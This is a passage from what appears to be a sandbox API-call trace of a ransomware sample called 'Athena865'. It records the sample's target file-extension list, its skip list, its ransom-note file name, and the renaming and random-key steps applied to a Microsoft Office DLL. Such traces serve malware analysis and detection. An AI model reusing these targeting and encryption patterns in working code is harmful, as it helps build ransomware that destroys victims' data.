lstrlenW (lpString="mfd") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0117.634] lstrlenW (lpString="mpd") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0117.634] lstrlenW (lpString="mrg") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0117.634] lstrlenW (lpString="mud") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0117.634] lstrlenW (lpString="mwb") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0117.634] lstrlenW (lpString="myd") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0117.634] lstrlenW (lpString="ndf") returned 3 [0117.634] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0117.635] lstrlenW (lpString="nnt") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0117.635] lstrlenW (lpString="nrmlib") returned 6 [0117.635] lstrcmpiW (lpString1="OR.DLL", lpString2="nrmlib") returned 1 [0117.635] lstrlenW (lpString="ns2") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0117.635] lstrlenW (lpString="ns3") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0117.635] lstrlenW (lpString="ns4") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0117.635] lstrlenW (lpString="nsf") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0117.635] lstrlenW (lpString="nv") returned 2 [0117.635] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0117.635] lstrlenW (lpString="nv2") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0117.635] lstrlenW (lpString="nwdb") returned 4 [0117.635] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0117.635] lstrlenW (lpString="nyf") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0117.635] lstrlenW (lpString="odb") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0117.635] lstrlenW (lpString="odb") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0117.635] lstrlenW (lpString="oqy") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0117.635] lstrlenW (lpString="ora") returned 3 [0117.635] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0117.636] lstrlenW (lpString="orx") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0117.636] lstrlenW (lpString="owc") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0117.636] lstrlenW (lpString="p96") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0117.636] lstrlenW (lpString="p97") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0117.636] lstrlenW (lpString="pan") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0117.636] lstrlenW (lpString="pdb") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0117.636] lstrlenW (lpString="pdm") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0117.636] lstrlenW (lpString="pnz") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0117.636] lstrlenW (lpString="qry") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0117.636] lstrlenW (lpString="qvd") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0117.636] lstrlenW (lpString="rbf") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0117.636] lstrlenW (lpString="rctd") returned 4 [0117.636] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0117.636] lstrlenW (lpString="rod") returned 3 [0117.636] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0117.636] lstrlenW (lpString="rodx") returned 4 [0117.636] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0117.636] lstrlenW (lpString="rpd") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0117.637] lstrlenW (lpString="rsd") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0117.637] lstrlenW (lpString="sas7bdat") returned 8 [0117.637] lstrcmpiW (lpString1="XTOR.DLL", lpString2="sas7bdat") returned 1 [0117.637] lstrlenW (lpString="sbf") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0117.637] lstrlenW (lpString="scx") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0117.637] lstrlenW (lpString="sdb") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0117.637] lstrlenW (lpString="sdc") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0117.637] lstrlenW (lpString="sdf") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0117.637] lstrlenW (lpString="sis") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0117.637] lstrlenW (lpString="spq") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0117.637] lstrlenW (lpString="te") returned 2 [0117.637] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0117.637] lstrlenW (lpString="teacher") returned 7 [0117.637] lstrcmpiW (lpString1="TOR.DLL", lpString2="teacher") returned 1 [0117.637] lstrlenW (lpString="tmd") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0117.637] lstrlenW (lpString="tps") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0117.637] lstrlenW (lpString="trc") returned 3 [0117.637] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0117.637] lstrlenW (lpString="trc") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0117.638] lstrlenW (lpString="trm") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0117.638] lstrlenW (lpString="udb") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0117.638] lstrlenW (lpString="udl") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0117.638] lstrlenW (lpString="usr") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0117.638] lstrlenW (lpString="v12") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0117.638] lstrlenW (lpString="vis") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0117.638] lstrlenW (lpString="vpd") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0117.638] lstrlenW (lpString="vvv") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0117.638] lstrlenW (lpString="wdb") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0117.638] lstrlenW (lpString="wmdb") returned 4 [0117.638] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0117.638] lstrlenW (lpString="wrk") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0117.638] lstrlenW (lpString="xdb") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0117.638] lstrlenW (lpString="xld") returned 3 [0117.638] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0117.638] lstrlenW (lpString="xmlff") returned 5 [0117.638] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0117.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.Athena865") returned 78 [0117.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.athena865"), dwFlags=0x1) returned 1 [0117.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.640] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=70544) returned 1 [0117.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54eb28 [0117.640] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ebb0) returned 1 [0117.641] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.641] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.641] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11690, lpName=0x0) returned 0x154 [0117.643] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11690) returned 0x100000 [0117.655] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ebb0) returned 1 [0117.655] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.655] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.656] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0117.657] CloseHandle (hObject=0x154) returned 1 [0117.657] CloseHandle (hObject=0x17c) returned 1 [0117.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x4f0000) returned 1 [0117.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.658] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="..") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="windows") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="bootmgr") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="temp") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="pagefile.sys") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="boot") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="ids.txt") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="ntuser.dat") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="perflogs") returned 1 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="MSBuild") returned 1 [0117.658] lstrlenW (lpString="WTSP61MS.DLL") returned 12 [0117.658] lstrcpyW (in: lpString1=0x241e8b8, lpString2="WTSP61MS.DLL" | out: lpString1="WTSP61MS.DLL") returned="WTSP61MS.DLL" [0117.658] lstrlenW (lpString="WTSP61MS.DLL") returned 12 [0117.658] lstrlenW (lpString="Athena865") returned 9 [0117.658] lstrcmpiW (lpString1="P61MS.DLL", lpString2="Athena865") returned 1 [0117.658] lstrlenW (lpString=".dll") returned 4 [0117.658] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".dll") returned 1 [0117.658] lstrlenW (lpString=".lnk") returned 4 [0117.659] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".lnk") returned 1 [0117.659] lstrlenW (lpString=".ini") returned 4 [0117.659] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".ini") returned 1 [0117.659] lstrlenW (lpString=".sys") returned 4 [0117.659] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".sys") returned 1 [0117.659] lstrlenW (lpString="WTSP61MS.DLL") returned 12 [0117.659] lstrlenW (lpString="bak") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0117.659] lstrlenW (lpString="ba_") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0117.659] lstrlenW (lpString="dbb") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0117.659] lstrlenW (lpString="vmdk") returned 4 [0117.659] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0117.659] lstrlenW (lpString="rar") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0117.659] lstrlenW (lpString="zip") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0117.659] lstrlenW (lpString="tgz") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0117.659] lstrlenW (lpString="vbox") returned 4 [0117.659] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0117.659] lstrlenW (lpString="vdi") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0117.659] lstrlenW (lpString="vhd") returned 3 [0117.659] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0117.659] lstrlenW (lpString="vhdx") returned 4 [0117.660] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0117.660] lstrlenW (lpString="avhd") returned 4 [0117.660] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0117.660] lstrlenW (lpString="db") returned 2 [0117.660] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0117.660] lstrlenW (lpString="db2") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0117.660] lstrlenW (lpString="db3") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0117.660] lstrlenW (lpString="dbf") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0117.660] lstrlenW (lpString="mdf") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0117.660] lstrlenW (lpString="mdb") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0117.660] lstrlenW (lpString="sql") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0117.660] lstrlenW (lpString="sqlite") returned 6 [0117.660] lstrcmpiW (lpString1="MS.DLL", lpString2="sqlite") returned -1 [0117.660] lstrlenW (lpString="sqlite3") returned 7 [0117.660] lstrcmpiW (lpString1="1MS.DLL", lpString2="sqlite3") returned -1 [0117.660] lstrlenW (lpString="sqlitedb") returned 8 [0117.660] lstrcmpiW (lpString1="61MS.DLL", lpString2="sqlitedb") returned -1 [0117.660] lstrlenW (lpString="xml") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0117.660] lstrlenW (lpString="$er") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0117.660] lstrlenW (lpString="4dd") returned 3 [0117.660] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0117.661] lstrlenW (lpString="4dl") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0117.661] lstrlenW (lpString="^^^") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0117.661] lstrlenW (lpString="abs") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0117.661] lstrlenW (lpString="abx") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0117.661] lstrlenW (lpString="accdb") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0117.661] lstrlenW (lpString="accdc") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0117.661] lstrlenW (lpString="accde") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0117.661] lstrlenW (lpString="accdr") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0117.661] lstrlenW (lpString="accdt") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0117.661] lstrlenW (lpString="accdw") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0117.661] lstrlenW (lpString="accft") returned 5 [0117.661] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0117.661] lstrlenW (lpString="adb") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.661] lstrlenW (lpString="adb") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.661] lstrlenW (lpString="ade") returned 3 [0117.661] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0117.662] lstrlenW (lpString="adf") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0117.662] lstrlenW (lpString="adn") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0117.662] lstrlenW (lpString="adp") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0117.662] lstrlenW (lpString="alf") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0117.662] lstrlenW (lpString="ask") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0117.662] lstrlenW (lpString="btr") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0117.662] lstrlenW (lpString="cat") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0117.662] lstrlenW (lpString="cdb") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0117.662] lstrlenW (lpString="ckp") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0117.662] lstrlenW (lpString="cma") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0117.662] lstrlenW (lpString="cpd") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0117.662] lstrlenW (lpString="dacpac") returned 6 [0117.662] lstrcmpiW (lpString1="MS.DLL", lpString2="dacpac") returned 1 [0117.662] lstrlenW (lpString="dad") returned 3 [0117.662] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0117.662] lstrlenW (lpString="dadiagrams") returned 10 [0117.662] lstrcmpiW (lpString1="SP61MS.DLL", lpString2="dadiagrams") returned 1 [0117.662] lstrlenW (lpString="daschema") returned 8 [0117.663] lstrcmpiW (lpString1="61MS.DLL", lpString2="daschema") returned -1 [0117.663] lstrlenW (lpString="db-journal") returned 10 [0117.663] lstrcmpiW (lpString1="SP61MS.DLL", lpString2="db-journal") returned 1 [0117.663] lstrlenW (lpString="db-shm") returned 6 [0117.663] lstrcmpiW (lpString1="MS.DLL", lpString2="db-shm") returned 1 [0117.663] lstrlenW (lpString="db-wal") returned 6 [0117.663] lstrcmpiW (lpString1="MS.DLL", lpString2="db-wal") returned 1 [0117.663] lstrlenW (lpString="dbc") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0117.663] lstrlenW (lpString="dbs") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0117.663] lstrlenW (lpString="dbt") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0117.663] lstrlenW (lpString="dbv") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0117.663] lstrlenW (lpString="dbx") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0117.663] lstrlenW (lpString="dcb") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0117.663] lstrlenW (lpString="dct") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0117.663] lstrlenW (lpString="dcx") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0117.663] lstrlenW (lpString="ddl") returned 3 [0117.663] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0117.663] lstrlenW (lpString="dlis") returned 4 [0117.663] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0117.663] lstrlenW (lpString="dp1") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0117.664] lstrlenW (lpString="dqy") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0117.664] lstrlenW (lpString="dsk") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0117.664] lstrlenW (lpString="dsn") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0117.664] lstrlenW (lpString="dtsx") returned 4 [0117.664] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0117.664] lstrlenW (lpString="dxl") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0117.664] lstrlenW (lpString="eco") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0117.664] lstrlenW (lpString="ecx") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0117.664] lstrlenW (lpString="edb") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0117.664] lstrlenW (lpString="epim") returned 4 [0117.664] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0117.664] lstrlenW (lpString="fcd") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0117.664] lstrlenW (lpString="fdb") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0117.664] lstrlenW (lpString="fic") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0117.664] lstrlenW (lpString="flexolibrary") returned 12 [0117.664] lstrlenW (lpString="fm5") returned 3 [0117.664] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0117.665] lstrlenW (lpString="fmp") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0117.665] lstrlenW (lpString="fmp12") returned 5 [0117.665] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0117.665] lstrlenW (lpString="fmpsl") returned 5 [0117.665] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0117.665] lstrlenW (lpString="fol") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0117.665] lstrlenW (lpString="fp3") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0117.665] lstrlenW (lpString="fp4") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0117.665] lstrlenW (lpString="fp5") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0117.665] lstrlenW (lpString="fp7") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0117.665] lstrlenW (lpString="fpt") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0117.665] lstrlenW (lpString="frm") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0117.665] lstrlenW (lpString="gdb") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0117.665] lstrlenW (lpString="gdb") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0117.665] lstrlenW (lpString="grdb") returned 4 [0117.665] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0117.665] lstrlenW (lpString="gwi") returned 3 [0117.665] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0117.665] lstrlenW (lpString="hdb") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0117.666] lstrlenW (lpString="his") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0117.666] lstrlenW (lpString="ib") returned 2 [0117.666] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0117.666] lstrlenW (lpString="idb") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0117.666] lstrlenW (lpString="ihx") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0117.666] lstrlenW (lpString="itdb") returned 4 [0117.666] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0117.666] lstrlenW (lpString="itw") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0117.666] lstrlenW (lpString="jet") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0117.666] lstrlenW (lpString="jtx") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0117.666] lstrlenW (lpString="kdb") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0117.666] lstrlenW (lpString="kexi") returned 4 [0117.666] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0117.666] lstrlenW (lpString="kexic") returned 5 [0117.666] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0117.666] lstrlenW (lpString="kexis") returned 5 [0117.666] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0117.666] lstrlenW (lpString="lgc") returned 3 [0117.666] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0117.666] lstrlenW 